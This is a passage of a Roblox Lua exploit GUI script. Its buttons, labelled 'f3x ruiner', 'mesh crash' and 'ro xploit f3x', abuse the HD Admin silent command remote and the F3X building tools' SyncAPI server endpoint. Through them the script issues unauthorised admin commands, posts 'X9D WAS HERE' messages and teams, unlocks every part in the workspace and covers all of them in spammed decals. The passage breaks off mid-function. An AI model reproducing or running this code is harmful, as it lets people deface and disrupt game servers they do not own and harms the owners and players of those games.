G2L["3f"]["Size"] = UDim2.new(0, 105, 0, 33); G2L["3f"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["3f"]["Text"] = [[title all]]; G2L["3f"]["Position"] = UDim2.new(0.39636, 0, 0.38183, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["40"] = Instance.new("LocalScript", G2L["3f"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel G2L["41"] = Instance.new("TextLabel", G2L["6"]); G2L["41"]["BorderSizePixel"] = 5; G2L["41"]["TextSize"] = 35; G2L["41"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["41"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["41"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["41"]["Size"] = UDim2.new(0, 386, 0, 58); G2L["41"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["41"]["Text"] = [[musics]]; G2L["41"]["Position"] = UDim2.new(0.11954, 0, 0.41347, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton G2L["42"] = Instance.new("TextButton", G2L["41"]); G2L["42"]["TextWrapped"] = true; G2L["42"]["BorderSizePixel"] = 5; G2L["42"]["TextSize"] = 36; G2L["42"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["42"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["42"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["42"]["Size"] = UDim2.new(0, 176, 0, 33); G2L["42"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["42"]["Text"] = [[fak all flippers]]; G2L["42"]["Position"] = UDim2.new(-0.12954, 0, 1.39907, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript G2L["43"] = Instance.new("LocalScript", G2L["42"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton G2L["44"] = Instance.new("TextButton", G2L["41"]); G2L["44"]["TextWrapped"] = true; G2L["44"]["BorderSizePixel"] = 5; G2L["44"]["TextSize"] = 36; G2L["44"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["44"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["44"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["44"]["Size"] = UDim2.new(0, 105, 0, 33); G2L["44"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["44"]["Text"] = [[wonga]]; G2L["44"]["Position"] = UDim2.new(0.37564, 0, 1.39907, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript G2L["45"] = Instance.new("LocalScript", G2L["44"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton G2L["46"] = Instance.new("TextButton", G2L["41"]); G2L["46"]["TextWrapped"] = true; G2L["46"]["BorderSizePixel"] = 5; G2L["46"]["TextSize"] = 36; G2L["46"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["46"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["46"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["46"]["Size"] = UDim2.new(0, 156, 0, 33); G2L["46"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["46"]["Text"] = [[erika phonk]]; G2L["46"]["Position"] = UDim2.new(0.6917, 0, 1.39907, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript G2L["47"] = Instance.new("LocalScript", G2L["46"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton G2L["48"] = Instance.new("TextButton", G2L["41"]); G2L["48"]["TextWrapped"] = true; G2L["48"]["BorderSizePixel"] = 5; G2L["48"]["TextSize"] = 36; G2L["48"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["48"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["48"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["48"]["Size"] = UDim2.new(0, 133, 0, 33); G2L["48"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["48"]["Text"] = [[bodypartz]]; G2L["48"]["Position"] = UDim2.new(-0.13213, 0, 2.26114, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript G2L["49"] = Instance.new("LocalScript", G2L["48"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton G2L["4a"] = Instance.new("TextButton", G2L["41"]); G2L["4a"]["TextWrapped"] = true; G2L["4a"]["BorderSizePixel"] = 5; G2L["4a"]["TextSize"] = 36; G2L["4a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["4a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["4a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["4a"]["Size"] = UDim2.new(0, 133, 0, 33); G2L["4a"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["4a"]["Text"] = [[c00lkidd]]; G2L["4a"]["Position"] = UDim2.new(0.25647, 0, 2.26114, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript G2L["4b"] = Instance.new("LocalScript", G2L["4a"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton G2L["4c"] = Instance.new("TextButton", G2L["41"]); G2L["4c"]["TextWrapped"] = true; G2L["4c"]["BorderSizePixel"] = 5; G2L["4c"]["TextSize"] = 36; G2L["4c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["4c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["4c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["4c"]["Size"] = UDim2.new(0, 133, 0, 33); G2L["4c"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["4c"]["Text"] = [[Gothic]]; G2L["4c"]["Position"] = UDim2.new(0.64766, 0, 2.26114, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript G2L["4d"] = Instance.new("LocalScript", G2L["4c"]); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton G2L["4e"] = Instance.new("TextButton", G2L["4"]); G2L["4e"]["TextWrapped"] = true; G2L["4e"]["BorderSizePixel"] = 5; G2L["4e"]["TextSize"] = 14; G2L["4e"]["TextScaled"] = true; G2L["4e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["4e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["4e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["4e"]["Size"] = UDim2.new(0, 219, 0, 68); G2L["4e"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["4e"]["Text"] = [[ro xploit f3x]]; G2L["4e"]["Rotation"] = -8; G2L["4e"]["Position"] = UDim2.new(1.01918, 0, 0.09187, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript G2L["4f"] = Instance.new("LocalScript", G2L["4e"]); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton G2L["50"] = Instance.new("TextButton", G2L["4"]); G2L["50"]["TextWrapped"] = true; G2L["50"]["BorderSizePixel"] = 5; G2L["50"]["TextSize"] = 14; G2L["50"]["TextScaled"] = true; G2L["50"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["50"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["50"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["50"]["Size"] = UDim2.new(0, 219, 0, 68); G2L["50"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["50"]["Text"] = [[f3x ruiner]]; G2L["50"]["Rotation"] = -8; G2L["50"]["Position"] = UDim2.new(1.04357, 0, 0.2319, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript G2L["51"] = Instance.new("LocalScript", G2L["50"]); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton G2L["52"] = Instance.new("TextButton", G2L["4"]); G2L["52"]["TextWrapped"] = true; G2L["52"]["BorderSizePixel"] = 5; G2L["52"]["TextSize"] = 14; G2L["52"]["TextScaled"] = true; G2L["52"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["52"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["52"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["52"]["Size"] = UDim2.new(0, 219, 0, 68); G2L["52"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["52"]["Text"] = [[mesh crash]]; G2L["52"]["Rotation"] = -8; G2L["52"]["Position"] = UDim2.new(1.07546, 0, 0.39306, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript G2L["53"] = Instance.new("LocalScript", G2L["52"]); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton G2L["54"] = Instance.new("TextButton", G2L["4"]); G2L["54"]["TextWrapped"] = true; G2L["54"]["BorderSizePixel"] = 5; G2L["54"]["TextSize"] = 14; G2L["54"]["TextScaled"] = true; G2L["54"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["54"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["54"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["54"]["Size"] = UDim2.new(0, 219, 0, 68); G2L["54"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["54"]["Text"] = [[f y d map]]; G2L["54"]["Rotation"] = -8; G2L["54"]["Position"] = UDim2.new(1.07546, 0, 0.58593, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript G2L["55"] = Instance.new("LocalScript", G2L["54"]); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton G2L["56"] = Instance.new("TextButton", G2L["4"]); G2L["56"]["TextWrapped"] = true; G2L["56"]["BorderSizePixel"] = 5; G2L["56"]["TextSize"] = 14; G2L["56"]["TextScaled"] = true; G2L["56"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["56"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["56"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["56"]["Size"] = UDim2.new(0, 219, 0, 68); G2L["56"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["56"]["Text"] = [[Project Ligma F3X]]; G2L["56"]["Rotation"] = 17; G2L["56"]["Position"] = UDim2.new(-0.41234, 0, 0.07602, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript G2L["57"] = Instance.new("LocalScript", G2L["56"]); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton G2L["58"] = Instance.new("TextButton", G2L["4"]); G2L["58"]["TextWrapped"] = true; G2L["58"]["BorderSizePixel"] = 5; G2L["58"]["TextSize"] = 14; G2L["58"]["TextScaled"] = true; G2L["58"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["58"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["58"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["58"]["Size"] = UDim2.new(0, 219, 0, 68); G2L["58"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["58"]["Text"] = [[Project Moonlight]]; G2L["58"]["Rotation"] = 17; G2L["58"]["Position"] = UDim2.new(-0.44799, 0, 0.2134, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript G2L["59"] = Instance.new("LocalScript", G2L["58"]); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton G2L["5a"] = Instance.new("TextButton", G2L["4"]); G2L["5a"]["TextWrapped"] = true; G2L["5a"]["BorderSizePixel"] = 5; G2L["5a"]["TextSize"] = 14; G2L["5a"]["TextScaled"] = true; G2L["5a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["5a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["5a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["5a"]["Size"] = UDim2.new(0, 219, 0, 68); G2L["5a"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["5a"]["Text"] = [[Polaria f3x]]; G2L["5a"]["Rotation"] = 17; G2L["5a"]["Position"] = UDim2.new(-0.47613, 0, 0.38249, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript G2L["5b"] = Instance.new("LocalScript", G2L["5a"]); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton G2L["5c"] = Instance.new("TextButton", G2L["4"]); G2L["5c"]["TextWrapped"] = true; G2L["5c"]["BorderSizePixel"] = 5; G2L["5c"]["TextSize"] = 14; G2L["5c"]["TextScaled"] = true; G2L["5c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["5c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["5c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["5c"]["Size"] = UDim2.new(0, 219, 0, 68); G2L["5c"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["5c"]["Text"] = [[f3x hub with c00lguis by b2s new and old]]; G2L["5c"]["Rotation"] = 17; G2L["5c"]["Position"] = UDim2.new(-0.49865, 0, 0.55422, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript G2L["5d"] = Instance.new("LocalScript", G2L["5c"]); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton G2L["5e"] = Instance.new("TextButton", G2L["4"]); G2L["5e"]["TextWrapped"] = true; G2L["5e"]["BorderSizePixel"] = 5; G2L["5e"]["TextSize"] = 36; G2L["5e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["5e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["5e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["5e"]["Size"] = UDim2.new(0, 147, 0, 58); G2L["5e"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["5e"]["Text"] = [[R6]]; G2L["5e"]["Position"] = UDim2.new(0.72274, 0, -0.0006, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript G2L["5f"] = Instance.new("LocalScript", G2L["5e"]); -- StarterGui.ScreenGui.ImageLabel.LocalScript local function C_3() local script = G2L["3"]; --// Services local Players = game:GetService('Players') local UIS = game:GetService("UserInputService") --// Variables local UI = script.Parent local Player = Players.LocalPlayer local Mouse = Player:GetMouse() local Hovered = false local Holding = false local MoveCon = nil local InitialX, InitialY, UIInitialPos --// Functions local function Drag() if Holding == false then MoveCon:Disconnect(); return end local distanceMovedX = InitialX - Mouse.X local distanceMovedY = InitialY - Mouse.Y UI.Position = UIInitialPos - UDim2.new(0, distanceMovedX, 0, distanceMovedY) end --// Connections UI.MouseEnter:Connect(function() Hovered = true end) UI.MouseLeave:Connect(function() Hovered = false end) UIS.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then Holding = Hovered if Holding then InitialX, InitialY = Mouse.X, Mouse.Y UIInitialPos = UI.Position MoveCon = Mouse.Move:Connect(Drag) end end end) UIS.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then Holding = false end end) end; task.spawn(C_3); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_8() local script = G2L["8"]; script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";btools ;BuildingTools") end) end; task.spawn(C_8); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_a() local script = G2L["a"]; script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 1839246711 ;pitch 1.2 ;volume inf") end) end; task.spawn(C_a); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_c() local script = G2L["c"]; script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";h You Are Now In The World Of X9D.") end) end; task.spawn(C_c); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_e() local script = G2L["e"]; script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";serverMessage You Are Now In The World Of X9D.") end) end; task.spawn(C_e); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_10() local script = G2L["10"]; script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";createteam red X9D WAS HERE") RequestCommand:InvokeServer(";createteam blue X9D WAS HERE2") RequestCommand:InvokeServer(";createteam green X9D WAS HERE3") RequestCommand:InvokeServer(";createteam purple X9D WAS HERE4") end) end; task.spawn(C_10); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_12() local script = G2L["12"]; script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("93092188749697") end) end; task.spawn(C_12); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_14() local script = G2L["14"]; script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("82934289144205") end) end; task.spawn(C_14); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_16() local script = G2L["16"]; script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x 